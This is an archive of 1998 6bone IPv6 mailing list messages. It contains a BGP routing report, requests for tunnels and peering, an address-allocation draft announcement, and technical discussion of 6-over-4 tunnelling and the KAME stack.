>     3ffe:2a00:200:1005::/64 path 1673 5609 1849 1752 224 (UIO)
>     3ffe:2a00:200:1010::/64 path 1673 5609 1849 1752 224 (UIO)
>     3ffe:2a00:1ff:f002::/64 path 1673 5609 1849 1752 224 (UIO)
>     3ffe:2a00:200:1002::/64 path 1673 5609 1849 1752 224 (UIO)
> 
>   CISCO (3ffe:c00::/24) had 3 route(s)
>     3ffe:c00:8004:1::/80 path 1673 5609 4555 109 8176 ()
>     3ffe:c00:800a::/48 path 1673 5609 4555 109 4534 (NETGOD/LAB/IXA)
>     3ffe:c00:8004::/48 path 1673 5609 4555 109 8176 ()
> 
>   ETRI (3ffe:2e00::/24) had 3 route(s)
>     3ffe:2e00::ffff:ffff:ffff:ffff/128 path 109 4555 1849 786 
> 1717 1103 1673 237 1225 5609 48 7081 10566 237 3559 (ETRI)
>     3ffe:2e00:0:ffff:ffff:ffff:ffff:ffff/128 path 109 4555 
> 1849 786 1717 1103 1673 237 1225 5609 48 7081 10566 237 3559 (ETRI)
>     3ffe:2e00::1/128 path 1225 5609 5623 1890 1849 1752 48 
> 7081 10566 237 3559 (ETRI)
> 
>   JANET (3ffe:2100::/24) had 3 route(s)
>     3ffe:2101:0:ffff::2/127 path 1225 5609 48 1752 (BT-LABS)
>     3ffe:2101:0:ffff:ffff:ffff:ffff:fffe/127 path 1225 1275 
> 1103 2839 5609 1673 237 10566 5408 1752 (BT-LABS)
>     3ffe:2101::/48 path 1225 5609 48 1752 3185 (ULANC)
> 
>   UUNET-UK (3ffe:1100::/24) had 2 route(s)
>     3ffe:1100:0:c01::/64 path 1673 5609 5623 559 5408 1752 (BT-LABS)
>     3ffe:1108:40a::/48 path 1225 1275 8319 5539 (SPACENET-DE)
> 
>   INFN-CNAF (3ffe:2300::/24) had 2 route(s)
>     3ffe:23ff::/32 path 1673 5609 1225 237 10566 7081 48 1752 
> 5408 8253 (DUTHNET)
>     3ffe:23f0::/28 path 1673 5609 1849 1752 5408 8253 (DUTHNET)
> 
>   BT-LABS (3ffe:2c00::/24) had 2 route(s)
>     3ffe:2c00:0:ffff::4/127 path 1673 5609 1849 1752 224 (UIO)
>     3ffe:2c00:0:ffff:ffff:ffff:ffff:fffe/127 path 1225 1275 
> 1103 2839 5609 1673 237 10566 5408 1752 224 (UIO)
> 
>   NRL (3ffe:f00::/24) had 2 route(s)
>     3ffe:f01:0:ffff::c/126 path 1225 48 1752 (BT-LABS)
>     3ffe:f01:0:ffff::d/126 path 1225 5609 1849 1752 (BT-LABS)
> 
>   GRNET (3ffe:2d00::/24) had 2 route(s)
>     3ffe:2d00:3::/48 path 1673 5609 1849 1752 5408 8643 (UOA)
>     3ffe:2dff:ffff::/48 path 1225 1275 1717 559 2547 1103 
> 5623 1849 2839 5609 1673 237 10566 5408 8643 (UOA)
> 
>   SURFNET (3ffe:600::/24) had 2 route(s)
>     3ffe:604:2::/48 path 1673 5609 5623 559 2547 1103 1891 
> (VUB-ULB/DIGITAL-BE)
>     3ffe:608:1::/48 path 1225 (CICNET)
> 
>   TEST-TLA-6BONE (3ffe::/16) had 2 route(s)
>     3ffe:ffff:ffff:ffff::/64 path 109 4555 1849 786 1717 1103 
> 1673 237 10566 5408 1752 224 (UIO)
>     3ffe:ffff:ffff::/48 path 1225 1275 1717 1835 2839 5609 
> 1673 237 10566 5408 1752 3185 (ULANC)
> 
>   UL (3ffe:1b00::/24) had 1 route(s)
>     3ffe:1b01::/32 path 1673 5609 5623 559 1930 (RCCN)
> 
>   JOIN (3ffe:400::/24) had 1 route(s)
>     3ffe:400:1c0::/48 path 1225 5609 48 8319 (REGIO-DE)
> 
>   SWITCH (3ffe:2000::/24) had 1 route(s)
>     3ffe:2024:1000::/36 path 1673 5609 5623 559 1930 (RCCN)
> 
>   UNI-C (3ffe:1400::/24) had 1 route(s)
>     3ffe:1402:1:1::/64 path 1225 5609 1849 5539 1273 (ECRC)
> 
>   WIDE (3ffe:500::/24) had 1 route(s)
>     3ffe:501:0:1800::/56 path 1673 5609 1225 237 7610 2500 (WIDE)
> 
>   INR (3ffe:2400::/24) had 1 route(s)
>     3ffe:2401::/32 path 1673 5609 4555 109 2895 2854 (STC-IPNG)
> 
>   VIAGENIE (3ffe:b00::/24) had 1 route(s)
>     3ffe:b00:1800::/40 path 1673 5609 1225 237 10566 8111 ()
> 
> The Top Five Most Active Prefixes:
> ----------------------------------
> 1. ANSNET (3ffe:d00::/24) had 30383 BGP+ updates (1120 unique aspaths)
>   1225 5609 1673 (1019)
>   2500 33 5609 1673 (983)
>   109 4555 5609 1673 (892)
>   1225 1275 1103 2839 5609 1673 (785)
>   2500 109 4555 5609 1673 (663)
>   109 1673 (569)
>   2500 109 1673 (503)
>   109 33 5609 1673 (478)
>   109 5623 33 5609 1673 (389)
>   10566 5408 559 5623 2839 5609 1673 (335)
>   1225 1275 1103 1673 (304)
>   ...Truncated...
> 
> 2. SWISSCOM (3ffe:1e00::/24) had 3601 BGP+ updates (10 unique aspaths)
>   1673 5609 5623 3303 (1838)
>   1225 5609 5623 3303 (926)
>   1225 1275 559 3303 (787)
>   10566 5408 559 3303 (11)
>   7610 10566 5408 559 3303 (10)
>   109 4555 5609 5623 3303 (7)
>   2500 33 5609 5623 3303 (6)
>   2500 109 4555 5609 5623 3303 (4)
>   109 33 5609 5623 3303 (2)
>   10566 7081 48 5609 5623 3303 (1)
> 
> 3. NRL (3ffe:f01:0:ffff::c/126) had 2317 BGP+ updates (5 
> unique aspaths)
>   1673 5609 1849 1752 (1613)
>   1225 5609 1849 1752 (695)
>   10566 5408 1752 (6)
>   1225 5609 48 1752 (2)
>   1225 48 1752 (1)
> 
> 4. SICS (3ffe:200::/24) had 2265 BGP+ updates (17 unique aspaths)
>   1673 5609 2839 (1836)
>   109 4555 5609 1849 2839 (107)
>   109 1673 5609 2839 (97)
>   2500 33 5609 1849 2839 (90)
>   2500 109 1673 5609 2839 (88)
>   10566 5408 559 5623 2839 (11)
>   2500 109 4555 5609 2839 (5)
>   109 4555 5609 2839 (5)
>   2500 33 5609 2839 (5)
>   1673 5609 1849 2839 (4)
>   1225 1275 1103 2839 (3)
>   ...Truncated...
> 
> 5. DIGITAL-BE (3ffe:604:2::/48) had 1964 BGP+ updates (21 
> unique aspaths)
>   1673 5609 5623 559 2547 1103 1891 (1742)
>   1673 5609 2839 5623 559 2547 1103 1891 (97)
>   10566 5408 559 2547 1103 1891 (13)
>   1225 5609 5623 559 2547 1103 1891 (13)
>   1225 1275 559 2547 1103 1891 (11)
>   7610 10566 5408 559 2547 1103 1891 (11)
>   2500 109 4555 5609 5623 559 2547 1103 1891 (8)
>   1225 1275 1717 559 2547 1103 1891 (8)
>   109 4555 5609 5623 559 2547 1103 1891 (7)
>   2500 109 1673 5609 5623 559 2547 1103 1891 (3)
>   109 1673 5609 5623 559 2547 1103 1891 (3)
>   ...Truncated...
> 

From 6bone-owner  Tue Jul  7 08:58:11 1998
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Date: Tue, 7 Jul 1998 21:30:20 +0530 (IST)
From: Shilpa Ashok Deshpande <shilpa@cse.iitb.ernet.in>
To: Bill Manning <bmanning@ISI.EDU>
cc: Priyank <pdesai@wins.hrl.com>, 6bone@ISI.EDU
Subject: Re: Request for a tunnel connection.
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   Hi!
 
 - I am looking for a connecting point to 6bone.
 
 - Location : IIT Powai, Mumbai, INDIA
 
 - Purpose  : For M.Tech. Project 

 Thanks,

 Regards, 
 Shilpa


----------------------------------
Ms. Shilpa Deshpande.
M.Tech. CS,
IIT Powai,
Mumbai,
INDIA
email: shilpa@cse.iitb.ernet.in

----------------------------------

From 6bone-owner  Tue Jul  7 09:28:26 1998
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Date: Tue, 07 Jul 1998 12:27:39 -0400
To: ipng@sunroof.eng.sun.com, 6bone@ISI.EDU, ngtrans@sunroof.eng.sun.com
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: I-D ACTION:draft-blanchet-ipaddressalloc-00.txt
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Hi,
	a first cut of a draft on an allocation scheme.

Comments appreciated.

Regards, Marc.

----------------------------------------------------------------------------
-------------------------------


A New Internet-Draft is available from the on-line Internet-Drafts
directories.


	Title           : A flexible allocation scheme for IP addresses
			  (IPv4 and IPv6)
	Author(s)	: M. Blanchet
	Filename	: draft-blanchet-ipaddressalloc-00.txt
	Pages		: 5
	Date		: 06-Jul-98
	
This draft presents an IP address allocation scheme that enables the IP 
allocator (the organisation that allocates addresses) to postpone the final
decision of prefix length by keeping space between allocated bits of the
different parts of the IP address.  This enables the allocator to change
the different part lengths of the prefix (TLA, subTLA, SLA, ...) even after
allocated spaces. This scheme is applicable to both IPv4 and IPv6 but is
envisionned mainly for IPv6 where the address space is larger and more
flexible.

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
	"get draft-blanchet-ipaddressalloc-00.txt".
A URL for the Internet-Draft is:
ftp://ftp.ietf.org/internet-drafts/draft-blanchet-ipaddressalloc-00.txt

Internet-Drafts directories are located at:

	Africa:	ftp.is.co.za
	
	Europe: ftp.nordu.net
		ftp.nis.garr.it
			
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	US East Coast: ftp.ietf.org
	
	US West Coast: ftp.isi.edu

Internet-Drafts are also available by mail.

Send a message to:	mailserv@ietf.org.  In the body type:
	"FILE /internet-drafts/draft-blanchet-ipaddressalloc-00.txt".
	
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ENCODING mime
FILE /internet-drafts/draft-blanchet-ipaddressalloc-00.txt

<ftp://ftp.ietf.org/internet-drafts/draft-blanchet-ipaddressalloc-00.txt>


-----------------------------------------------------------
Marc Blanchet			| Marc.Blanchet@viagenie.qc.ca
Viagénie inc.			| http://www.viagenie.qc.ca
3107 des hôtels		| tél.: 418-656-9254 
Ste-Foy, Québec		| fax.: 418-656-0183
Canada, G1W 4W5		| radio: VA2-JAZ
------------------------------------------------------------
pgp :57 86 A6 83 D3 A8 58 32 F7 0A BB BD 5F B2 4B A7
------------------------------------------------------------
Auteur du livre TCP/IP Simplifié, Éditions Logiques, 1997
------------------------------------------------------------

From 6bone-owner  Tue Jul  7 12:10:30 1998
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To: Richard Draves <richdr@microsoft.com>
cc: "'6bone'" <6bone@ISI.EDU>
Subject: Re: 07/06/98 6Bone Routing Report 
In-reply-to: Your message of "Tue, 07 Jul 1998 07:43:10 PDT."
             <4D0A23B3F74DD111ACCD00805F31D81005832569@red-msg-50.dns.microsoft.com> 
Date: Tue, 07 Jul 1998 15:10:22 -0400
From: Masaki Hirabaru <masaki@merit.edu>
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Hi. Richard and 6bone folks,

Our 6bone routing data collection has not been working from 2pm
on July 2 to 11am on July 6 due to the NFS server down. So, the
6bone routing reports issued on July 3rd though Today (July 7th)
have been empty or incomplete.

About routing instability, our collected data says there has been
considerable instability from 9pm Yesterday to 2am Today (EDT).
I'd think that this was not affected by our reporting system
malfunctioning.

Masaki

> From: Richard Draves <richdr@microsoft.com>
> To: "'6bone'" <6bone@ISI.EDU>
> Subject: RE: 07/06/98 6Bone Routing Report
> Date: Tue, 7 Jul 1998 07:43:10 -0700 
> X-Mailer: Internet Mail Service (5.5.2328.0)
> Sender: owner-6bone@ISI.EDU
> Precedence: bulk
> 
> What's happening with 6bone routing? I received several truncated reports
> over the weekend, and now a report showing a big jump in routing
> instability?
> 
> Rich
> 
> > -----Original Message-----
> > From: owner-6bone-routing-report@merit.edu
> > [mailto:owner-6bone-routing-report@merit.edu]
> > Sent: Monday, July 06, 1998 11:15 PM
> > To: 6bone-routing-report@merit.edu
> > Subject: 07/06/98 6Bone Routing Report
> > 
> > 
> > See http://www.merit.edu/ipma for a more detailed report on routing 
> > problems and recommendations on ways service providers can limit the 
> > spread of invalid routing information.
> > Send comments and questions to ipma-support@merit.edu
> > 
> > To unsubscribe from this list, send mail to 
> >     6bone-routing-report-request@merit.edu.
> > A hypermail archive is available at
> >     http://www.merit.net/mail.archives/html/6bone-routing-report/
> > 
> > Also see http://www.caida.org for more information about Internet 
> > statistics collection research efforts.
> > 
> > ---------------------------------------------
> > This report is for 07/06/98, peering with
> >   VIAGENIE (AS10566)  CISCO (AS109)  CICNET (AS1225)  ANSNET 
> > (AS1673)  WIDE (AS2500)  TELEBIT (AS3263)  NUS-IRDU (AS7610)
> > ---------------------------------------------
> > 
> > Size of 6Bone Routing Table:
> > 	Max = 112, Min = 0, Average = 37
> > 	49 Unique Autonomous System (AS) numbers
> > 
> > BGP4+ Traffic Summary:  
> > 	Announcements = 105470    Withdraws = 16613   Unique Routes = 94
> > 
> > Non-6Bone Prefixes (outside of 3ffe::/16):
> > --------------------------------
> >   0000::/0 path 10566 7610 237 1225 1312 (LORE/VT)
> >   1000::/4 path 10566 5408 1752 3185 786 1717 5623 5609 48 (NRL/INNER)
> >   1800::/4 path 7610 10566 237 1225 2914 (NWNET)
> >   3000::/7 path 10566 7610 237 1225 1312 (LORE/VT)
> >   3fff:ff00::/24 path 7610 10566 237 109 1673 237 1225 1275 
> > 1717 137 (INFN-CNAF)
> >   5f00:4700::/32 path 10566 5408 559 2547 1103 1673 237 109 (CISCO)
> >   5f00:6d00::/32 path 10566 5408 559 2547 1103 1673 237 109 (CISCO)
> >   5f01:7800::/32 path 1225 (CICNET)
> >   5f04:c500:cb26:1100::/64 path 10566 5408 559 2547 1103 1673 
> > 237 109 (CISCO)
> >   5f06:8900::/32 path 1673 (ANSNET)
> >   5f0b:4f00::/32 path 10566 5408 559 2547 1103 1673 237 109 2895 (INR)
> >   5f0d:e900:ce9c:9400::/64 path 1225 (CICNET)
> >   5f0f:8800::/32 path 10566 5408 559 2547 1103 1673 237 109 (CISCO)
> >   5f10:8800::/32 path 10566 5408 559 2547 1103 1673 237 109 (CISCO)
> >   5f10:ffff::/32 path 10566 5408 559 2547 1103 1673 237 109 (CISCO)
> >   5f11:b600::/32 path 10566 5408 559 2547 1103 1673 237 109 
> > 4534 (NETGOD/LAB/IXA)
> >   5f11:d000:cca2:e400::/64 path 10566 5408 559 2547 1103 1673 
> > 237 109 (CISCO)
> >   ffff:ff00::/24 path 109 1673 5609 1849 1752 (BT-LABS)
> > 
> > Poorly Aggregated Prefixes (>24):
> > --------------------------------
> >   UIO (3ffe:2a00::/24) had 6 route(s)
> >     3ffe:2a00:200:1003::/64 path 1673 5609 1849 1752 224 (UIO)
> >     3ffe:2a00:200:1004::/64 path 1673 5609 1849 1752 224 (UIO)
> >     3ffe:2a00:200:1005::/64 path 1673 5609 1849 1752 224 (UIO)
> >     3ffe:2a00:200:1010::/64 path 1673 5609 1849 1752 224 (UIO)
> >     3ffe:2a00:1ff:f002::/64 path 1673 5609 1849 1752 224 (UIO)
> >     3ffe:2a00:200:1002::/64 path 1673 5609 1849 1752 224 (UIO)
> > 
> >   CISCO (3ffe:c00::/24) had 3 route(s)
> >     3ffe:c00:8004:1::/80 path 1673 5609 4555 109 8176 ()
> >     3ffe:c00:800a::/48 path 1673 5609 4555 109 4534 (NETGOD/LAB/IXA)
> >     3ffe:c00:8004::/48 path 1673 5609 4555 109 8176 ()
> > 
> >   ETRI (3ffe:2e00::/24) had 3 route(s)
> >     3ffe:2e00::ffff:ffff:ffff:ffff/128 path 109 4555 1849 786 
> > 1717 1103 1673 237 1225 5609 48 7081 10566 237 3559 (ETRI)
> >     3ffe:2e00:0:ffff:ffff:ffff:ffff:ffff/128 path 109 4555 
> > 1849 786 1717 1103 1673 237 1225 5609 48 7081 10566 237 3559 (ETRI)
> >     3ffe:2e00::1/128 path 1225 5609 5623 1890 1849 1752 48 
> > 7081 10566 237 3559 (ETRI)
> > 
> >   JANET (3ffe:2100::/24) had 3 route(s)
> >     3ffe:2101:0:ffff::2/127 path 1225 5609 48 1752 (BT-LABS)
> >     3ffe:2101:0:ffff:ffff:ffff:ffff:fffe/127 path 1225 1275 
> > 1103 2839 5609 1673 237 10566 5408 1752 (BT-LABS)
> >     3ffe:2101::/48 path 1225 5609 48 1752 3185 (ULANC)
> > 
> >   UUNET-UK (3ffe:1100::/24) had 2 route(s)
> >     3ffe:1100:0:c01::/64 path 1673 5609 5623 559 5408 1752 (BT-LABS)
> >     3ffe:1108:40a::/48 path 1225 1275 8319 5539 (SPACENET-DE)
> > 
> >   INFN-CNAF (3ffe:2300::/24) had 2 route(s)
> >     3ffe:23ff::/32 path 1673 5609 1225 237 10566 7081 48 1752 
> > 5408 8253 (DUTHNET)
> >     3ffe:23f0::/28 path 1673 5609 1849 1752 5408 8253 (DUTHNET)
> > 
> >   BT-LABS (3ffe:2c00::/24) had 2 route(s)
> >     3ffe:2c00:0:ffff::4/127 path 1673 5609 1849 1752 224 (UIO)
> >     3ffe:2c00:0:ffff:ffff:ffff:ffff:fffe/127 path 1225 1275 
> > 1103 2839 5609 1673 237 10566 5408 1752 224 (UIO)
> > 
> >   NRL (3ffe:f00::/24) had 2 route(s)
> >     3ffe:f01:0:ffff::c/126 path 1225 48 1752 (BT-LABS)
> >     3ffe:f01:0:ffff::d/126 path 1225 5609 1849 1752 (BT-LABS)
> > 
> >   GRNET (3ffe:2d00::/24) had 2 route(s)
> >     3ffe:2d00:3::/48 path 1673 5609 1849 1752 5408 8643 (UOA)
> >     3ffe:2dff:ffff::/48 path 1225 1275 1717 559 2547 1103 
> > 5623 1849 2839 5609 1673 237 10566 5408 8643 (UOA)
> > 
> >   SURFNET (3ffe:600::/24) had 2 route(s)
> >     3ffe:604:2::/48 path 1673 5609 5623 559 2547 1103 1891 
> > (VUB-ULB/DIGITAL-BE)
> >     3ffe:608:1::/48 path 1225 (CICNET)
> > 
> >   TEST-TLA-6BONE (3ffe::/16) had 2 route(s)
> >     3ffe:ffff:ffff:ffff::/64 path 109 4555 1849 786 1717 1103 
> > 1673 237 10566 5408 1752 224 (UIO)
> >     3ffe:ffff:ffff::/48 path 1225 1275 1717 1835 2839 5609 
> > 1673 237 10566 5408 1752 3185 (ULANC)
> > 
> >   UL (3ffe:1b00::/24) had 1 route(s)
> >     3ffe:1b01::/32 path 1673 5609 5623 559 1930 (RCCN)
> > 
> >   JOIN (3ffe:400::/24) had 1 route(s)
> >     3ffe:400:1c0::/48 path 1225 5609 48 8319 (REGIO-DE)
> > 
> >   SWITCH (3ffe:2000::/24) had 1 route(s)
> >     3ffe:2024:1000::/36 path 1673 5609 5623 559 1930 (RCCN)
> > 
> >   UNI-C (3ffe:1400::/24) had 1 route(s)
> >     3ffe:1402:1:1::/64 path 1225 5609 1849 5539 1273 (ECRC)
> > 
> >   WIDE (3ffe:500::/24) had 1 route(s)
> >     3ffe:501:0:1800::/56 path 1673 5609 1225 237 7610 2500 (WIDE)
> > 
> >   INR (3ffe:2400::/24) had 1 route(s)
> >     3ffe:2401::/32 path 1673 5609 4555 109 2895 2854 (STC-IPNG)
> > 
> >   VIAGENIE (3ffe:b00::/24) had 1 route(s)
> >     3ffe:b00:1800::/40 path 1673 5609 1225 237 10566 8111 ()
> > 
> > The Top Five Most Active Prefixes:
> > ----------------------------------
> > 1. ANSNET (3ffe:d00::/24) had 30383 BGP+ updates (1120 unique aspaths)
> >   1225 5609 1673 (1019)
> >   2500 33 5609 1673 (983)
> >   109 4555 5609 1673 (892)
> >   1225 1275 1103 2839 5609 1673 (785)
> >   2500 109 4555 5609 1673 (663)
> >   109 1673 (569)
> >   2500 109 1673 (503)
> >   109 33 5609 1673 (478)
> >   109 5623 33 5609 1673 (389)
> >   10566 5408 559 5623 2839 5609 1673 (335)
> >   1225 1275 1103 1673 (304)
> >   ...Truncated...
> > 
> > 2. SWISSCOM (3ffe:1e00::/24) had 3601 BGP+ updates (10 unique aspaths)
> >   1673 5609 5623 3303 (1838)
> >   1225 5609 5623 3303 (926)
> >   1225 1275 559 3303 (787)
> >   10566 5408 559 3303 (11)
> >   7610 10566 5408 559 3303 (10)
> >   109 4555 5609 5623 3303 (7)
> >   2500 33 5609 5623 3303 (6)
> >   2500 109 4555 5609 5623 3303 (4)
> >   109 33 5609 5623 3303 (2)
> >   10566 7081 48 5609 5623 3303 (1)
> > 
> > 3. NRL (3ffe:f01:0:ffff::c/126) had 2317 BGP+ updates (5 
> > unique aspaths)
> >   1673 5609 1849 1752 (1613)
> >   1225 5609 1849 1752 (695)
> >   10566 5408 1752 (6)
> >   1225 5609 48 1752 (2)
> >   1225 48 1752 (1)
> > 
> > 4. SICS (3ffe:200::/24) had 2265 BGP+ updates (17 unique aspaths)
> >   1673 5609 2839 (1836)
> >   109 4555 5609 1849 2839 (107)
> >   109 1673 5609 2839 (97)
> >   2500 33 5609 1849 2839 (90)
> >   2500 109 1673 5609 2839 (88)
> >   10566 5408 559 5623 2839 (11)
> >   2500 109 4555 5609 2839 (5)
> >   109 4555 5609 2839 (5)
> >   2500 33 5609 2839 (5)
> >   1673 5609 1849 2839 (4)
> >   1225 1275 1103 2839 (3)
> >   ...Truncated...
> > 
> > 5. DIGITAL-BE (3ffe:604:2::/48) had 1964 BGP+ updates (21 
> > unique aspaths)
> >   1673 5609 5623 559 2547 1103 1891 (1742)
> >   1673 5609 2839 5623 559 2547 1103 1891 (97)
> >   10566 5408 559 2547 1103 1891 (13)
> >   1225 5609 5623 559 2547 1103 1891 (13)
> >   1225 1275 559 2547 1103 1891 (11)
> >   7610 10566 5408 559 2547 1103 1891 (11)
> >   2500 109 4555 5609 5623 559 2547 1103 1891 (8)
> >   1225 1275 1717 559 2547 1103 1891 (8)
> >   109 4555 5609 5623 559 2547 1103 1891 (7)
> >   2500 109 1673 5609 5623 559 2547 1103 1891 (3)
> >   109 1673 5609 5623 559 2547 1103 1891 (3)
> >   ...Truncated...
> > 


From 6bone-owner  Wed Jul  8 02:34:34 1998
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Message-ID: <19980708123114.B25004@noc.ntua.gr>
Date: Wed, 8 Jul 1998 12:31:14 +0300
From: Yiorgos Adamopoulos <Y.Adamopoulos@noc.ntua.gr>
To: 6bone@ISI.EDU
Subject: KAME stack
Reply-To: Y.Adamopoulos@noc.ntua.gr
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.91.1i
Organization: NTUA-NOC, National Technical University of Athens, GREECE
X-Disclaimer: My opinions do not necessarily reflect those of my employer.
X-Work-Phone: +30-1-772-1-436
X-Work-FAX: +30-1-772-1-866
X-URL: http://www.dbnet.ece.ntua.gr/~george
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Status: RO

Hi,

I want to know experiences with the KAME stack, if anyone on the 6bone uses
it before I try to work with it on NetBSD/pmax ;-)

--
Yiorgos Adamopoulos               -- #include <std/disclaimer.h>
mailto: Y.Adamopoulos@noc.ntua.gr -- Network Operations Center, NTUA, GREECE


From 6bone-owner  Wed Jul  8 08:31:27 1998
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From: "Hossam El-Ashkar" <h_elashkar@ieee.org>
To: <richdr@microsoft.com>, "Mike Tracy" <Michael.Tracy@eng.Sun.COM>
Cc: "6bone" <6bone@ISI.EDU>
Subject: Re: NT strangness
Date: Wed, 8 Jul 1998 17:35:58 +0300
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Thank you Richard, and mike.
    I have configured the automatic tunnel interface on the Solaris. They
are both working well now ( the NT speaks to Solaris and vice versa)....

    I am very sorry to have caused so much debate, but there are a lot of
addresses types in v6 that I got confused. I only have one more question and
a request.

    The question is, what is the usefulness of the Carpenter/Jung draft
compatible address? does it allow the v4 only hosts to speak to v6, or what?

    And the request is that I want to join the 6bone, can any one give me a
tunnel?

Thank you again.

----------------------------------------------------------------------------
----
Hossam El-Ashkar
h_elashkar@ieee.org




From 6bone-owner  Wed Jul  8 09:43:49 1998
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From: Richard Draves <richdr@microsoft.com>
To: "'Hossam El-Ashkar'" <h_elashkar@ieee.org>
Cc: 6bone <6bone@ISI.EDU>, Mike Tracy <Michael.Tracy@eng.Sun.COM>
Subject: RE: NT strangness
Date: Wed, 8 Jul 1998 09:43:07 -0700 
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>     The question is, what is the usefulness of the 
> Carpenter/Jung draft
> compatible address? does it allow the v4 only hosts to speak 
> to v6, or what?

The Carpenter/Jung 6-over-4 draft does not allow v4 only hosts to speak to
v6. (That's what translators do. Several groups are also working on
translators. For example see
http://www.cs.washington.edu/research/networking/napt/.)

6-over-4 doesn't use any special type of address, that's one of the great
things about it. Like configured & automatic tunnels, 6-over-4 is a way of
transmitting v6 packets over a v4 network by encapsulating them in v4
packets. Unlike configured & automatic tunnels, 6-over-4 treats the v4
network as a real link layer, with link-local addresses, Neighbor Discovery,
etc.

Here's a scenario where 6-over-4 is incredibly useful: Suppose you have a
campus network with many v4-only routers. The campus network supports v4
multicast across the campus. Sprinkled around the campus are v6 machines
(which also support v4) that you want to connect to the 6bone, but for
whatever reason (availability, cost, time, stability) you haven't yet
upgraded the campus routers to support v6. What to do?

One solution is to manually setup a network of configured tunnels between
all the v6 machines on a campus and a campus gateway to the 6bone. There's a
lot of effort here to create and maintain all the configured tunnels. Every
new v6 machine on campus requires additional work.

A much better solution is to use 6-over-4 to connect all the campus v6
machines to the campus 6bone gateway. Because the campus v4 network is a
virtual link layer for v6, you can use stateless autoconfiguration. New v6
machines on campus will automatically discover the 6bone gateway and
configure themselves with global 6bone addresses! The only configured tunnel
that you need to create & maintain is between the campus 6bone gateway and
the 6bone backbone.

The only caveat is that the campus v4 network must support v4 multicast.

Rich

From 6bone-owner  Wed Jul  8 14:56:29 1998
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From: Quaizar Vohra <qv@3com.com>
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CC: qv@ewd.3Com.com
Subject: Looking for some BGP4+ peers
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Hi,
	I am looking for a couple or more of backbone nodes to create 
tunnels and BGP4+ peering. This is mainly for testing our BGP4+
implementation and there a few 3Com customers who did like to join 
6bone via our core node. 3Com has a pTLA prefix assigned to it.

	Lately I haven't been following the 6bone mailing list and
might be unware of the changes in operational practises for backbone
nodes. Is there a place I can find the requirements for becoming
a backbone node or can someone please summarize them. All I remember
is that apart from having a pTLA prefix, one has to host a couple
of IPv6 DNS Servers, and be able to run BGP4+.

	Also for people running BGP4+, is there a consensus on
whether the NEXT_HOP attribute is mandatory in BGP4+ or not.
As for running BGP4+ just for exchanging IPv6 routes, the 
IPv4 NEXT_HOP attribute doesn't seem to serve any purpose.
What is the operational experience.

Looking forward to your replies.

Thanks
Quaizar

From 6bone-owner  Wed Jul  8 16:23:23 1998
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To: Quaizar Vohra <qv@3com.com>, 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: Looking for some BGP4+ peers
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Quaizar,

At 02:56 PM 7/8/98 -0700, Quaizar Vohra wrote:
...
> I am looking for a couple or more of backbone nodes to create 
>tunnels and BGP4+ peering. This is mainly for testing our BGP4+
>implementation and there a few 3Com customers who did like to join 
>6bone via our core node. 3Com has a pTLA prefix assigned to it.
>
> Lately I haven't been following the 6bone mailing list and
>might be unware of the changes in operational practises for backbone
>nodes. Is there a place I can find the requirements for becoming
>a backbone node or can someone please summarize them. All I remember
>is that apart from having a pTLA prefix, one has to host a couple
>of IPv6 DNS Servers, and be able to run BGP4+.

Take a look at the 6bone home page, and go to the pointer on 

6bone Routing Practice and related policies


Bob



From 6bone-owner  Thu Jul  9 04:09:46 1998
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From: "Hossam El-Ashkar" <h_elashkar@ieee.org>
To: "Mike Tracy" <Michael.Tracy@eng.Sun.COM>
Cc: "6bone" <6bone@ISI.EDU>
Date: Thu, 9 Jul 1998 14:08:47 +0300
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This is a multi-part message in MIME format.

------=_NextPart_000_0008_01BDAB43.174A0F50
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	charset="iso-8859-1"
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Hello,
    I am trying to use the snoop you offer with the 5.3 release with =
filtering but I cannot. Can you tell me how to configure it to capture =
the packets addresses to a certain MAC address??
    Also, the file it generates seems to be incompatible with the other =
snoops. Can it be exported some how. I need to see the results more =
visually!!!
    Thanx.

-------------------------------------------------------------------------=
-------
Hossam El-Ashkar
h_elashkar@ieee.org
=20

------=_NextPart_000_0008_01BDAB43.174A0F50
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.2106.6"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D2>Hello,</FONT></DIV>
<DIV><FONT size=3D2>&nbsp;&nbsp;&nbsp; I am trying to use the snoop you =
offer with=20
the 5.3 release with filtering but I cannot. Can you tell me how to =
configure it=20
to capture the packets addresses to a certain MAC address??</FONT></DIV>
<DIV><FONT size=3D2>&nbsp;&nbsp;&nbsp; Also, the file it generates seems =
to be=20
incompatible with the other snoops. Can it be exported some how. I need =
to see=20
the results more visually!!!</FONT></DIV>
<DIV><FONT size=3D2>&nbsp;&nbsp;&nbsp; Thanx.</FONT></DIV>
<DIV><FONT size=3D2>
<DIV>
<HR>
<FONT color=3D#000000 size=3D2>Hossam El-Ashkar</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2><A=20
href=3D"mailto:h_elashkar@ieee.org">h_elashkar@ieee.org</A></FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2><!--<A =
=0Dhref=3D"mailto:hosam@technologist.com">hosam@technologist.com</A>--></=
FONT></DIV>
<DIV><FONT color=3D#000000 =
size=3D2></FONT>&nbsp;</DIV></FONT></DIV></BODY></HTML>

------=_NextPart_000_0008_01BDAB43.174A0F50--


From 6bone-owner  Sun Jul 12 20:17:16 1998
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References: <19980708123114.B25004@noc.ntua.gr>
To: 6bone@ISI.EDU
Subject: Re: KAME stack
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From: Jun-ichiro itojun Itoh <itojun@itojun.org>
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>I want to know experiences with the KAME stack, if anyone on the 6bone uses
>it before I try to work with it on NetBSD/pmax ;-)

	NOTE: it looks that my reply does not reach to 6bone mailing list,
	maybe due to From: line.  If any of you received two of this
	email please ignore this.

	Most of the UNIX-based routers in 6bone-jp (Japan 6bone) implements
	KAME stack.  We (kame team) do not have experience with NetBSD/pmax,
	however, it should work with just a tiny modification into
	sys/arch/pmax/somewhere. (calling ip6intr() from software interrupt
	routine)

